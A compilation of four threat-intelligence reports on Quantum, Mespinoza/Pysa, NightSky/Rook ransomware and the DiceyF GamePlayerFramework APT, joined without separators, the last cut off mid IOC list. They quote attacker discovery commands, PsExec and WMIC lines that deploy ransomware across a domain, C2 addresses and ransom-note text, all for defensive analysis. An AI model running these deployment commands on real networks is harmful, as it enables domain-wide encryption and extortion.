# Quantum Ransomware In one of the fastest ransomware cases observed, in under four hours the threat actors went from initial access to domain-wide ransomware. The initial access vector was an IcedID payload delivered via email. IcedID malware has been utilized as the initial access by various ransomware groups. Examples include: - **XingLocker** – IcedID to XingLocker Ransomware in 24 hours - **Conti** – Stolen Images Campaign Ends in Conti Ransomware - **REvil** – Sodinokibi (aka REvil) Ransomware Once the initial IcedID payload was executed, approximately 2 hours after initial infection, the threat actors began hands-on-keyboard activity. Cobalt Strike and RDP were used to move across the network before using WMI and PsExec to deploy the Quantum ransomware. This case exemplified an extremely short Time-to-Ransom (TTR) of 3 hours and 44 minutes. ## Case Summary The threat actor entered the network when a user endpoint was compromised by an IcedID payload contained within an ISO image. The ISO contained a DLL file (IcedID malware) and a LNK shortcut to execute it. The end user, after clicking into the ISO file, could see just a single file named “document,” which is a LNK shortcut to a hidden DLL packaged in the ISO. When the user clicks on the LNK file, the IcedID DLL is executed. Upon execution of the IcedID DLL, a battery of discovery tasks were executed using built-in Windows utilities like `ipconfig`, `systeminfo`, `nltest`, `net`, and `chcp`. The IcedID malware also created a scheduled task for persistence on the beachhead host. Around two hours later, Cobalt Strike was deployed using process hollowing and injection techniques. This marked the start of hands-on-keyboard activity by the threat actors, which included using AdFind through a batch script called `adfind.bat` to perform discovery of the target organization's Active Directory structure. The threat actors gathered host-based network information by running a batch script named `ns.bat`, which ran `nslookup` for each host in the environment. The Cobalt Strike process then accessed LSASS memory to extract credentials, which were tested to run remote WMI discovery tasks on a server. After confirming their credentials worked with the WMI actions, the threat actor proceeded to RDP into that server and attempted to drop and execute a Cobalt Strike DLL beacon. This appeared to fail, so the threat actor then opened `cmd` and executed a PowerShell Cobalt Strike Beacon, which successfully connected to the same command and control server observed on the beachhead host. For the next hour, the threat actor made RDP connections to other servers in the environment. Once they had a handle on the layout of the domain, they prepared to deploy the ransomware by copying the ransomware (named `ttsel.exe`) to each host through the C$ share folder. They used two methods of remote execution to detonate the ransomware binary: WMI and PsExec. This ransomware deployment concluded less than four hours from the initial IcedID execution. While the ransom note indicated the threat actor stole data, no overt exfiltration of data was observed; however, it is possible that the threat actors used IcedID or Cobalt Strike to transmit sensitive data. ## Services We offer multiple services including a Threat Feed service that tracks Command and Control frameworks such as Cobalt Strike, BazarLoader, Covenant, Metasploit, Empire, PoshC2, etc. More information on this service and others can be found on our website. We also have artifacts and IOCs available from this case such as pcaps, memory captures, files, event logs including Sysmon, Kape packages, and more, under our Security Researcher and Organization services. ## Timeline ### Initial Access The threat actor gained initial access through the common malware, IcedID. The payload was delivered within an ISO file, `docs_invoice_173.iso`, via email, where a user opened and executed the malware. The user mounted the ISO using the Event ID 12 in Microsoft-Windows-VHDMP-Operational.evtx. When mounted, the ISO contained two files: - `document.lnk` - `dar.dll` (hidden attribute enabled) The file `document.lnk` is a shortcut or LNK file, and `dar.dll` was the IcedID payload. ### Execution A quick look at `document.lnk`’s properties highlights the command line that is executed on launch: ``` C:\Windows\System32\rundll32.exe dar.dll,DllRegisterServer ``` Shortly after execution of the payload, several child processes were spawned that created persistence and began discovery on the host. This included an instance of `C:\Windows\SysWOW64\cmd.exe`, which the IcedID malware used to hollow out and then inject a Cobalt Strike beacon into. There were several additional indications of Cobalt Strike observed to verify it was utilized by the threat actor. The `cmd.exe` process spawned a suspicious instance of `rundll32.exe`. There were no command line arguments for this process, which is atypical for `rundll32.exe`. A further indication was the `rundll32.exe` process creating a named pipe, `postex_304a`. This behavior of `rundll32.exe` and a named pipe that matches `postex_[0-9a-f]{4}`, is the default behavior used by Cobalt Strike 4.2+ post-exploitation jobs. When we reviewed the memory of this process, we confirmed it was indeed Cobalt Strike when we successfully extracted the beacon configuration. The threat actor also executed a PowerShell Cobalt Strike payload on some servers. This payload is using the default Cobalt Strike obfuscation scheme (XOR 35) and can easily be decoded using CyberChef. ### Persistence After the initial execution of the IcedID malware, it established persistence by creating a copy of the malware (`Ulfefi32.dll`) in the AppData directory of the affected user and created a scheduled task to execute it every hour. ### Defense Evasion Process injection was observed during the intrusion by both IcedID and Cobalt Strike. On one system, the threat actor injected into the winlogon process. ### Credential Access Suspicious accesses to LSASS process memory were observed during this intrusion. The threat actors managed to steal administrator account credentials, allowing them to move laterally across the Active Directory domain. ### Discovery The IcedID process ran several initial discovery commands that provided environmental information about the host, network, and domain. The commands included: ``` cmd.exe /c chcp >&2 WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get * /Format:List ipconfig /all systeminfo net config workstation nltest /domain_trusts nltest /domain_trusts /all_trusts net view /all /domain net view /all net group "Domain Admins" /domain ``` A `cmd.exe` process spawned from IcedID ran additional discovery queries. The threat actor dropped the following files in the `C:\Windows\Temp` directory: - `7.exe` (7zip) - `adfind.exe` (AdFind) - `adfind.bat` The actor used the Active Directory enumeration tool AdFind to collect information such as the users, computers, and subnets in the domain. ### Lateral Movement The threat actor used RDP to move laterally to critical hosts, initiating RDP connections from a workstation named TERZITERZI. The RDP connections were established from the Cobalt Strike process running the beacon, indicating the threat actor utilized a proxy on the beachhead host to facilitate the RDP traffic. ### Command and Control IcedID was used to contact the following domains: - `dilimoretast[.]com` - `antnosience[.]com` - `oceriesfornot[.]top` - `138[.]68.42.130:443` - `157[.]245.142.66:443` - `188[.]166.154.118:80` ### Exfiltration While the ransom note indicated the threat actor stole data, no overt exfiltration of data was observed; however, it is possible that the threat actors used IcedID or Cobalt Strike to transmit sensitive data. ### Impact Just shy of four hours into the intrusion, the threat actors began acting on their final objectives, domain-wide ransomware deployment. They used a combination of both PsExec and WMI to remotely execute the ransomware. They first copied the payload, `ttsel.exe`, to the C$ share of each host on the network: ``` C:\Windows\system32\cmd.exe /K copy ttsel.exe \\<IP>\c$\windows\temp\ ``` The threat actor utilized the “-r” option in PsExec to define a custom name (“mstdc”) of the remote service created on the target host. ``` psexec.exe \\<IP ADDRESS> -u <DOMAIN>\Administrator -p "<PASSWORD>" -s -d -h -r mstdc -accepteula -nobanner c:\windows\temp\ttsel.exe ``` This resulted in the file `C:\Windows\mstdc.exe` being created on the target endpoint when PsExec was executed. The alternate execution method employed was a WMI call to start a remote process on the target host: ``` wmic /node:"<IP ADDRESS>" /user:"<DOMAIN>\Administrator" /password:"<PASSWORD>" process call create "cmd.exe /c c:\windows\temp\ttsel.exe" ``` The Quantum ransomware began to encrypt files across all hosts in the environment, which then dropped the following ransom note: `README_TO_DECRYPT.html`. The Quantum portal had a unique option to create and set a password for the negotiation chat. ## Indicators ### Files - `docs_invoice_173.iso` - `dar.dll` - `document.lnk` - `Ulfefi32.dll` - `license.dat` - `ttsel.exe` - `p227.dll` ### Network - `dilimoretast[.]com` - `antnosience[.]com` - `oceriesfornot[.]top` - `138[.]68.42.130:443` - `157[.]245.142.66:443` - `188[.]166.154.118:80` - C2/IP: `185.203.118[.]227:443` ### MITRE - T1204 - User Execution - T1614.001 - System Location Discovery: System Language Discovery - T1218.011 - Signed Binary Proxy Execution: Rundll32 - T1059.001 - Command and Scripting Interpreter: PowerShell - T1059.003 - Command and Scripting Interpreter: Windows Command Shell - T1055 - Process Injection - T1055.012 - Process Injection: Process Hollowing - T1003.001 - OS Credential Dumping: LSASS Memory - T1486 - Data Encrypted for Impact - T1482 - Domain Trust Discovery - T1021.002 - Remote Services: SMB/Windows Admin Shares - T1083 - File and Directory Discovery - T1518.001 - Software Discovery: Security Software Discovery - T1047 - Windows Management Instrumentation - T1087.002 - Account Discovery: Domain Account - T1082 - System Information Discovery - T1018 - Remote System Discovery - T1053.005 - Scheduled Task/Job: Scheduled Task - T1071.001 - Web Protocols Internal case #12647
# Mespinoza (Pysa) Ransomware Back in October of 2019, the Mespinoza Ransomware family first surfaced via Malspam. On the 14th of December, it returned with a new extension .pysa, so let's see if any changes have been made. **Fun Fact:** The extension "pysa" is probably derived from the Zanzibari Coin with the same name. Apparently, it's quite popular with collectors. But enough of the pocket change, let me put my two cents in on this sample :D A general disclaimer as always: downloading and running the samples linked below will lead to the encryption of your personal data, so be f$cking careful. Also, check with your local laws as owning malware binaries/sources might be illegal depending on where you live. **Mespinoza (.pysa) @ AnyRun | VirusTotal | HybridAnalysis** `sha256` a18c85399cd1ec3f1ec85cd66ff2e97a0dcf7ccb17ecf697a5376da8eda4d327 As always: Running Detect it easy on the executable: One of the first things it will do is modify the `SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System` Registry Key to set the following values. Unfortunately, I couldn't confirm this action in a sandbox with RegShot yet. To retain basic functions of the Operating System, Mespinoza will spare certain directories related directly to Windows and critical files. It will also specifically look for SQL related processes. I will have to confirm this with a debugger, but most of the time database processes are killed by Ransomware to disrupt the service and make the files available for encryption. Of course, Mespinoza won't stop with the system drive, so it will check for connected removable media or shared network drives. `GetDriveTypeW` will tell it which type of media the selected device belongs to. Up until now, I have not seen a ransomware sample running `verclsid.exe`, so let's investigate: `{0B2C9183-C9FA-4C53-AE21-C900B0C39965}` corresponds to `C:\Windows\system32\SearchFolder.dll` and `{0C733A8A-2A1C-11CE-ADE5-00AA0044773D}` matches the CLSID of IDBProperties, which is part of the Microsoft SQL Server. `C:\Windows\system32\verclsid.exe" /S /C {0B2C9183-C9FA-4C53-AE21-C900B0C39965} /I {0C733A8A-2A1C-11CE-ADE5-00AA0044773D} /X 0x401` After looking at a string dump, I found this hex string which is probably the key blob. I'll try to verify this with x32dbg later. `30820220300D06092A864886F70D01010105000382020D003082020802820201009CC3A0141B5488CD31B7` Turns out that the encrypted key is appended to the end of each file affected by the ransomware (which is a common tactic for some strains). As this article is a work in progress, I will update it as soon as I can. As I did not see the Malware deleting the Volume Shadow Copies until now, one option for possible victims would be to run Photorec or Recuva to check for recoverable files. **Update 22.01.2020:** There's a new version of the Mespinoza / .pysa Variant compiled on the 18th of January: **Mespinoza (.pysa) @ AnyRun** `sha256` e9662b468135f758a9487a1be50159ef57f3050b753de2915763b4ed78839ead In the screenshot below, you can see a comparison of the old sample (1.exe) and the new one (1.bin). Except for a few minor changes, the two samples are mostly identical: The public Key used by the criminals is still the same (converted from hex to raw, key blob located in the binary): `MIICIDANBgkqhkiG9w0BAQEFAAOCAg0AMIICCAKCAgEA6dYN+TogNihncAJNXRhtUeyj7EQ/BIGbupIM q5PRI3a1+HqMXEk5vdb3NhzFBUoVhY/jTEE71flTwHM73q9PrgovaYSl8HeXZaU+HkqjF7Ofu4Qf+SDk oPxcubX4cFYV1r97z9vcFgFehzk+9CofEnHWEo2N656QGRXeO0PaJX/riiL672KHzMDNKzfZQnmpMHL+ KzeyJaaPVVz7V9qCCkjT+IT26xtG2jY5tggepfLQfB6ExxaoJ1j0GapQMIZ3k6F1AtBmfcNvyu3cW29a bIOCsu1QRzfq6iSau2xx0ZaRz0l3vgU79PCLtsGw7BNPtKZdDL9dA879aKWlDBIizc3lg4IpHxdf5MOT mpQR0kst3kyOieNlIjEAyewyRQ788o3qs8k9SS+89CD916AMEVqRcQH8ugBv5ocs0xAf+2bHe13ogIRc iTz9ALTvtMSqhNptEBP/z+lIhuMTs2MrJRTaQLpVHUIlqAcQuLm8AHIYdGmBXEvUqPjRIo+L9Jb+P1XU cXYHvOZUBV0VFSOoyQeqiBeaYS+PhCV6TmTRHsH/8XkPt/eGXm3Dk4feYNaZ5a9uQKYc9Akt6G0N+P8T 7zobyAWfQNqGFJhklh6JEAJw58XCJNdmETT68kfwtQ+XFB4caUHessaJ369lprAj4TjDUFfYkkm74ntG 4nVtL+sCARE===` The Ransomnote contents stayed the same, except for the contact email addresses. Here are the contents of Readme.README: **Ransomnote** Hi Company, Every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data back contact us: [email protected] [email protected] **FAQ:** 1. Q: How can I make sure you don't fooling me? A: You can send us 2 files (max 2mb). 2. Q: What to do to get all data back? A: Don't restart the computer, don't move files and write us. 3. Q: What to tell my boss? A: Protect Your System Amigo. **MITRE ATT&CK** - T1215 --> Kernel Modules and Extensions --> Persistence - T1045 --> Software Packing --> Defense Evasion - T1012 --> Query Registry --> Discovery - T1114 --> Email Collection --> Collection **IOCs** **Mespinoza (pysa)** 1.exe --> SHA256: a18c85399cd1ec3f1ec85cd66ff2e97a0dcf7ccb17ecf697a5376da8eda4d327 SSDEEP: 12288:aVchT6oi+OeO+OeNhBBhhBBpiOTn5CjGGc4dXOsOjKf:aVc1Jiin5yGpMIj File size: 504.50 KB **Associated Files** - Readme.README - %temp%\update.bat **E-Mail Addresses** [email protected] [email protected] Used in previous campaigns: [email protected] [email protected] [email protected] **Ransomnote** Hi Company, Every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data back contact us: [email protected] [email protected] **FAQ:** 1. Q: How can I make sure you don't fooling me? A: You can send us 2 files (max 2mb). 2. Q: What to do to get all data back? A: Don't restart the computer, don't move files and write us. 3. Q: What to tell my boss? A: Protect Your System Amigo.
# NightSky Ransomware – just a Rook RW fork in VMProtect suit The main subject of this analysis is to explain cryptographic functions used in NightSky and Rook ransomwares and compare their similarities and differences. This is not just some kind of show-off report but the main purpose of this is to share some knowledge, ideas, workflow, and problems which could occur during this kind of research. Before we jump in, both of these ransomwares are using the same version of statically linked OpenSource library Mbed TLS (2.23.0 – 2.24.0) to implement crypto functions. Because of minor changes in Mbed TLS between versions 2.23.0 and 2.24.0 (ransomware code is not affected by these changes), there is no way to specify which one of these versions was used, but more important is that both ransomwares are using the same version of Mbed TLS. Finding out the exact version was a pity work, involving compilation of different versions of Mbed TLS (last 20 versions) with the exact same version of Visual Studio (2015) and the same version of compiler tools (19.00.24245 – obtained from Rook RW). Because of shredded Rich Header in NightSky ransomware, we can only presume that both of these RW were built with compiler tools 19.00.????? probably Visual Studio 2015 but not necessarily. In the Rook case, we also know the exact version of compiler tools (19.00.24245) – Rich Header presented. Real hard work started with many attempts to find the correct C/C++ compiler and linker configuration which was used in both of these ransomwares (involving reversing of Mbed TLS functions in ransomwares and produced .dll and .obj (in .lib file) files). Fortunately, and not surprisingly, the best configuration was the same for both of these ransomwares. Built .lib files served for generating FLIRT signatures and .dll files with pdb symbols were used for fuzzy matching with Rizzo signatures, fingermatch signatures, diaphora... Big differences between matched functions, using different versions of Mbed TLS, led to the exact version of Mbed TLS (2.23.0 – 2.24.0) which was used in both cases. These facts could be just an interesting coincidence but after I introduce the code similarity it will be obvious that NightSky Ransomware is just a fork of Rook and there is a possibility that the same TA is behind the creation of these ransomwares (another possibility is leaked source code etc.). ## NightSky RW vs Rook RW brief crypto summary Let’s do some reversing. After this brief introduction, we can jump to the main function of these ransomwares. We can see the main function of Rook and NightSky RW. NightSky omitted some functionality of Rook (processing cmdline arguments, debug mode…) and some were just moved to different functions but code similarity related to multi-threading and synchronization remains. One of the first functions in “main” in both of these ransomwares - “setPRNG_generate_VictimRSAKeys_encryptVictimPrivateKEY” is responsible for generating Victim RSA2048 key pair where Victim RSA2048 private KEY is encrypted by TA's embedded RSA2048 public key. The encryption of the victim RSA private key is performed in a loop of 200 bytes. Again, the similarity of code is obvious. We can move on to the function which is the start routine of newly spawned threads. This NightSky routine is handled by literally copy-paste code from Rook RW and serves as synchronization which leads to the function responsible for file encryption “encrypt_file”. In the “encrypt_file” function, we can see that both of these ransomwares are using Mbed TLS random module to generate for each file a unique 16 bytes random AES key. This AES key is later used but also gets encrypted by the previously generated victim RSA2048 public key and saved to a structure which will be later part of the encrypted file footer. Usage of the randomly generated AES key is different in NightSky and Rook ransomware. Rook ransomware encryption is a combination of AES128 ECB mode with intermittent encryption -> looping 32 bytes chunks where only the first 16 are encrypted. Max encrypted size is 524288*3. NightSky ransomware encryption is AES128 CBC mode with hardcoded IV where max encrypted size is the same as in Rook case - 524288*3. You can see NightSky AES128 CBC mode with hardcoded IV below. Our final stage of analysis is comparing the encrypted file structure. Rook Ransomware encrypted file structure (only something I named Quadpart_presented tag is in addition to NightSky – this tag has no meaning and because of that was probably omitted): NightSky Ransomware encrypted file structure: ## Conclusion As we could see, the similarity between Rook and NightSky ransomware looks sometimes like copy-paste of code. What could be quite tricky for analysts is that NightSky is delivered as VMProtected and with a combination of statically linked Mbed TLS crypto library it could be let’s say “unpleasant”. Some functionality from Rook Ransomware (not part of the crypto process) is not presented in the code of NightSky. Only one difference in encryption is that NightSky RW replaced intermittent AES-ECB encryption for more secured AES-CBC. ## Recommendation If possible, always try to perform decryption on your own (spoofing public key, grabbing session keys, hooking etc.) to confirm your analytical assumptions. ## IOCs NightSky Ransomware MD5: 9608c8b6c8d80fdc67b99edd3c53d3d2 Rook Ransomware MD5: 6d87be9212a1a0e92e58e1ed94c589f9
# DiceyF Deploys GamePlayerFramework in Online Casino Development Studio The Hacktivity 2022 security festival was held at the MOM Cultural Center in Budapest, Hungary, over two days, October 6-7th 2022. One of several presentations by our GReAT researchers included an interesting set of APT activity targeting online casino development and operations environments in Southeast Asia. A recorded video of the presentation is already online. All of our research, including a full set of IoCs and Yara rules, is written up in the two-part report “DiceyF Deploys GamePlayerFramework in Online Casino Development Studio”, already available to our private report subscribers. Some technical analysis from the report is provided here, along with a reference set of IoCs. ## Who is at the table We call this APT “DiceyF”. They have been targeting online casinos and other victims in Southeast Asia reportedly for years now. Our research shows overlap with LuckyStar PlugX, a supply chain incident privately reported. TTPs, secure messaging client abuse, malware, and targeting demonstrate that this set of activity and resources align with Earth Berberoka/GamblingPuppet activity discussed at Botconf 2022 by Trend Micro researchers, also discussed as an unknown or developing cluster by other vendors. Prior to “Operation Earth Berberoka”, Trend Micro reported on “Operation DRBControl”, which also aligns with this activity and resource set. So, do we have another Ocean’s Eleven Clooney-Pitt duo targeting the largest casinos for shocking levels of criminality, revenge, and theft? No we don’t. In the related DiceyF incident that we report on, there was no evidence observed to date of immediate financial motivation or cash theft. Instead, previous incidents reported by TrendMicro researchers have exhibited customer PII database exfiltration and source code theft. Possibly we have a mix of espionage and IP theft, but the true motivations remain a mystery. ## Rolling the dice An interesting combination of detections and characteristics sparked interest in this activity. These data points included: - PlugX installers signed by a potentially stolen digital certificate from a secure messaging client development studio - Malware distribution via an employee monitoring system and a security package deployment service - Unusual .NET code signed with the same potentially stolen certificate and calling back to the same domain as the PlugX C2 In November 2021, multiple PlugX loaders and payloads were detected in a network, which is often a wearisome topic to investigate. However, this time, the PlugX installer triad was deployed via two methods as an executable signed with a legitimate digital certificate — an employee monitoring service and a security package deployment service. This legitimate digital certificate appeared to have been stolen from a development and build studio for a secure messaging client. These PlugX payloads communicated with a C2 at apps.imangolm[.]com. Not much later, this same security package deployment service was used to push GamePlayerFramework downloaders, with these downloaders communicating with the same C2, and signed with the same digital certificate. Further research revealed a targeting profile suggesting an online casino development studio, and later, recruited/outsourced development systems on disparate networks. Waves of .NET downloader deployments followed and coincided with the PlugX deployments, signed by the same digital certificate. These downloaders maintained PDB strings with “PuppetLoader” filepaths. These PuppetLoader strings pretty clearly connected the multistage loaders with past PuppetLoader downloaders, only this time, redesigned and rewritten in C#. Past PuppetLoaders, written in C++, maintain explicit strings. The new .NET code maintains similar strings, reflecting the previous codebase from several years ago. While these findings were being analyzed and reported, the folks from Trend Micro reported on GamblingPuppet/Earth Berberoka at Botconf, and we are confident that this DiceyF GamePlayerFramework activity is a subsequent campaign with a newly developed core malware set. This APT, DiceyF, aligns the previously reported GamblingPuppet and Operation DRBControl resources and activity, which we also observed in earlier data as well: - PlugX and PuppetLoader multistage loader - Online casino targeting in Southeast Asia - Lack of evidence presenting a financial motivation (Trend Micro observed customer database and source code exfiltration in Operation DRBControl) - Chinese language in use, particularly GamePlayerFramework error strings and plugin names and paths - Data theft focus for backdoors includes keystrokes and clipboard - Stolen digital certificate re-use - Obscure secure messaging client as delivery vehicle for malware and cloak for malicious activity GamePlayerFramework is a complete C# rewrite of the previously mentioned PuppetLoader C++/assembly malware. This “framework” includes downloaders, launchers, and a set of plugins that provide remote access and steal keystrokes and clipboard data. The newer (summer 2022) executables are mostly all 64-bit .NET compiled with .NET v4.5.1, but some are 32-bit, or DLLs compiled with .NET v4.0. There are at least two branches to this framework, “Tifa” and “Yuna”, and both branches maintain new modules, incrementally modified over time: - D:\Code\Fucker\GamePlayerFramework\Tifa\*.pdb - C:\Users\fucker\Desktop\Fucker\GamePlayerFramework\Tifa\*.pdb - D:\Code\Fucker\GamePlayerFramework\Yuna\*.pdb ## FinalFantasy code quirks Players may be familiar with the FinalFantasy game series, where Tifa and Yuna are two of the main characters. The Tifa and Yuna branches are different from one another: the Tifa branch includes only a downloader and a “core” module; the Yuna branch includes a downloader, plugins, and various PuppetLoader components, at least a dozen in total. Even the downloaders are fairly different from one another. As a matter of fact, the Yuna.Downloader code changes quite a bit over time, including with JSON parsing, logging, and encryption capabilities. Ongoing code development is on display here. The Tifa branch of code was deployed to victims first in November 2021, and these Tifa downloaders maintain more primitive functionality than the later Yuna downloaders. Additionally, it appears that code-signing coordination was not well organized in November. Except for one Tifa executable that was signed, two of the three Tifa downloaders were unsigned code, unlike the Yuna downloaders. The initial Tifa downloaders were already using “Mango” and “Mongo” function names just like artifacts found in Yuna downloaders, along with the aforementioned apps.imangolm[.]com C2 used by the PlugX implant. Later Yuna downloaders were distributed with the filename “mango.exe”. Two of the Tifa.Downloader variants introduced a “DownloaderVersion” string, likely for the attackers to maintain backwards compatibility on the server side. Some later Yuna.Downloader variants increase in functionality and complexity, but multiple early variants and the Tifa branch are quite simple. ## Loading the framework Once downloaded and persistence set up, multiple components load the framework. The overall process of loading the framework can be summarized with the following graph: This load sequence results in running the “Launcher” component. Despite the name, the main functionality of this module is not to perform launching. Instead, it is the orchestrator of the framework, i.e. it manages all the framework components. After completing the startup process, the orchestrator starts sending heartbeat packets to the C2 server every 20 seconds. Each such packet is a XOR-encrypted JSON object that contains the following information: - Username of the logged-in user - Current user session status (locked or unlocked) - Size of logs collected by the clipboard recorder plugin - Current date and time The C2 responds with one of fifteen commands. ### Command Overview | Command Name | Command Arguments | Description | |-----------------------------|---------------------------------------|-----------------------------------------------------------------------------| | PluginKeepAlive | N/A | Updates an internal timestamp with the last C2 response time | | PluginDestory [sic] | N/A | Shuts down the framework | | GetSystemInfo | N/A | Retrieves various system information, namely: | | | | Local network IP addresses | | | | Available privileges (SYSTEM, administrator or normal user) | | | | Network protocol used for C2 communication (hardcoded to Tcpv4 in all discovered samples) | | | | Framework version (in format yyyymmdd.xx, e.g. 20220506.00) | | | | Downloader module version | | | | CPU name | | | | Available RAM | | | | Operating system version | | | | Address of the C2 server that is in use | | | | Size of clipboard recorder logs | | | | Installed security solution | | | | BIOS serial number | | | | MAC addresses | | | | Machine boot time | | FastCmd | Command: command to be executed | Allows execution of shell commands; this command creates a new cmd.exe process with redirected standard input and output and sends commands to it; the output of executed commands is sent back to the C2 server | | GetDomainSetting | N/A | Sends the list of C2 servers specified in the configuration to the current C2 server | | SetDomainSetting | DomainConfig: IP | Updates the list of C2 servers in the configuration by writing new C2 server addresses and ports of new C2 servers | | GetRemotePluginInfo | PluginName: name of an installed plugin | Retrieves the version of a locally installed plugin | | RunPlugin | PluginName: name of the plugin to be launched | Downloads a plugin from the C2 server and launches it | | | SessionId: ID of the session inside which the plugin is to be launched | | | DeleteGuid | N/A | Removes the infection from the machine by creating a batch file that removes all files dropped by the framework installer except for rascustoms.dll; after performing removal, the batch file deletes itself | | FastDownload | FilePath: path of the file to be uploaded | Uploads a file from the victim machine | | CachePlugin | PluginName: name of the plugin | Downloads a plugin from the C2 server but does not launch it | | | PluginVersion: version of the plugin | | | InstallPlugin | PluginName: name of the plugin to be launched | Launches a plugin on the victim machine, waiting until the plugin process finishes; in case of a timeout, the orchestrator kills the plugin process | | | WaitForExitTimeout: timeout interval | | | RemoteInject | SubMsg: a string equal to either RunVirtualDesktop or DestoryVirtualDesktop | Either starts (if SubMsg is RunVirtualDesktop) or stops (if SubMsg is DestoryVirtualDesktop) the VirtualDesktop plugin | | ChromeCookie | SubMsg: a string equal to either RunChromeCookie or GetCookiePath | If SubMsg is RunChromeCookie, launches the ChromeCookie plugin; if the argument string is GetCookiePath, returns the path where Chrome cookies are stored | | FirefoxCookie | SubMsg: a string equal to either RunFirefoxCookie or GetCookiePath | If SubMsg is RunFirefoxCookie, launches the FirefoxCookie plugin; if the argument string is GetCookiePath, returns the path where Firefox cookies are stored | ## Plugins overview Plugins are EXE files that execute most of the framework’s malicious activities. Plugins can be configured to be downloaded from the C2 server when the framework starts up or is loaded at any other time using one of the commands above. During its execution, a plugin may connect to the C2 server and receive commands from it. Information about running plugins is stored in the C:\ProgramData\NVIDIA\DisplaySessionContainer1.ini file. All plugins of the framework are stored in a fileless way. Whenever a plugin is downloaded from the C2 server, it is loaded into the framework with the following procedure: - The orchestrator selects a random port from 10000 to 20000 and launches a local TCP socket server on it. - The orchestrator creates a new svchost.exe process in suspended mode and injects the api-ms-win-core-sys-l1-0-5.dll library mentioned in the “Loading the Framework” section. - The injected library loads the PuppetLoader.Downloader component with the following arguments: -LoadName <plugin name> -PacketId <internal ID of the network packet with the plugin payload> -Port <server port generated at the first step>. - The Yuna.PuppetLoader.Downloader component downloads the plugin executable from the local TCP server and loads it using Load. The strings of the orchestrator component reference the following plugin names: - Plugin.采集系统 (Acquisition System) - Plugin.隐藏进程 (Hidden Process) - Plugin.SSH - Plugin.常用功能插件 (General Purpose Plugin) - Plugin.SessionCmd - Plugin.端口转发 (Port Forwarding) - Plugin.屏幕传输 (Screen Transfer) - Plugin.虚拟桌面 (Virtual Desktop) - Plugin.剪贴板 (Clipboard) - Plugin.ChromeCookie - Plugin.FirefoxCookie While tracking deployments of GamePlayerFramework, we observed several plugins out of the list above being used: General Purpose Plugin, Clipboard and Virtual Desktop. ## Malicious app with graphical interface The application deployed through installation packages of security solutions was designed to mimic an application that synchronizes data of the Mango messaging application. Below is the window displayed to the victim when this application starts: **Window of the malicious “Mango Employee Account Data Synchronizer”** In order to make the victim user trust the malicious window, the attackers employed social engineering. As can be seen from the screenshot above, they included the name of the victim organization and even the floor where the organization’s IT department is located. At the same time, the visible window makes this application less suspicious to security solutions. When started, this application: - Connects to the C2 server via a TCP socket. The address and port of the server is specified in the binary. In case connection fails, the application displays a message window with the “无法连接到芒果员工数据同步服务器! 请反馈至IT部门!” text (“Unable to connect to Mango employee data synchronization server! Please report back to the IT department”). - Sends the following information to the C2 server: - Version of the installed Mango messenger - Machine name - Current username - Operation system version - List of local IPv4 addresses - Receives a JSON object containing a Boolean value named IsErrorMachine. If it is set to true, the application displays a message window with the “尚未认证的机器, 请到10楼的IT部添加机器认证” text (“Machines that have not been certified, please go to the IT department on the 10th floor to add machine certification”) and exits. - Launches the exe executable located inside the same directory as the application. The internal name of this file is Yuna.Downloader. The code is under continuous incremental change and its versioning reflects a semi-professional management of the codebase modifications. Over time, the group added Newtonsoft JSON library support, enhanced logging, and encryption for logging. ## Infrastructure | Domain | IP | First Seen | ASN | |---------------------------------|-------------------|------------|--------------------| | apps.imangolm[.]com | 202.182.115.238 | 2021-11-06 | 20473, AS-CHOOPA | | quic.flashesplayer[.]com | 202.182.115.238 | 2021-11-10 | 20473, AS-CHOOPA | | archivess.imangoim[.]net | 45.77.47.149 | 2022-05-06 | 20473, AS-CHOOPA | As described above, much of the early implants’ (both PlugX and the downloaders) communications activity calls back to infrastructure by resolving FQDN for infrastructure located in Southeast Asia. Later into April 2022, some of the Yuna.Downloaders began communicating directly with a hardcoded IP address. ## Conclusion There are many interesting characteristics of DiceyF campaigns and TTPs. The group modifies their codebase over time and develops functionality in the code throughout their intrusions. Organizations need to maintain solid efforts in monitoring software deployed across their organizations. The deployment systems themselves and the deployment process require heightened monitoring and maintenance: what gets deployed, when it gets deployed, and whose credentials are being used. The systems themselves need to be hardened and security products installed and updated. GamePlayerFramework enabled DiceyF, the actor behind this framework, to perform cyberespionage activities with some level of stealth. The initial infection method is noteworthy in that the framework is distributed via installation packages deployed through security solution control centers. Furthermore, the components of this framework are signed with a digital certificate that makes the framework more trusted by security solutions. In order to further disguise the malicious components, attackers added a graphical interface to some of them. Such implants are masqueraded as components of a messenger that is used at the victim organizations. To make sure that victims did not become suspicious of the disguised implants, attackers obtained information about targeted organizations (such as the floor where the organization’s IT department is located) and included it inside graphic windows displayed to victims. They also used service names, file paths, digital signing certificates, and other artifacts from NVIDIA, Mango, and other legitimate software. Plugins of GamePlayerFramework allow extensive monitoring of victim machines. For example, they are able to monitor keystrokes and the clipboard, browse websites located inside the organization’s local network, or establish virtual desktop sessions. And over the course of several months, DiceyF developers added more encryption capabilities to better hide their logging and monitoring activities. In the future, we expect to see an increase in the number of plugins and observe more unusual defense evasion methods in this framework. Finally, the deployment tactic used here isn’t quite as sophisticated as infecting an external component of the supply chain itself, but can be extremely effective. ## IOCs **MD5** - Tifa.Downloader: ddbc9081ed2c503c5e4512a8e61b5389 - Tifa.Core: 49b457ee8eaa83b18cc00d2f579824c6 - Yuna.Downloader: 06711900cc5d7cd665bc1b6ec9d7eacf - Yuna.Downloader: 1d59e527886e4bd72df0f609239b9d58 - Yuna.Downloader and Yuna.Launcher containing legitimate Newtonsoft DLL: 0c4dae01f21c3d2fa55f38314fe34958 - Yuna.Launcher: 07d6bf2df064e97d0e635a67f083f87d - Yuna.Launcher: 0ac4e0e08bd28e88acd4991071c98261 - Yuna.Plugin.General: cb8a30fcbcb462be66462f6928c6e44a - Yuna.Plugin.ClipboardRecorder: 294c22533c950d7d9d74a82729ba3841 - Yuna.PuppetLoader.CodeLauncher: 07ff76be283fb44ce9e9427e12e63aa6 - Yuna.PuppetLoader.Guard: 031466c63bba4eafb11f2966e765c0d2 - Yuna.PuppetLoader.Downloader: 0c4dae01f21c3d2fa55f38314fe34958 - Yuna.PuppetLoader.Downloader: 19f8809d04c06bba2ad95a937f133a89 - Yuna.PuppetLoader.ProcessLoader: 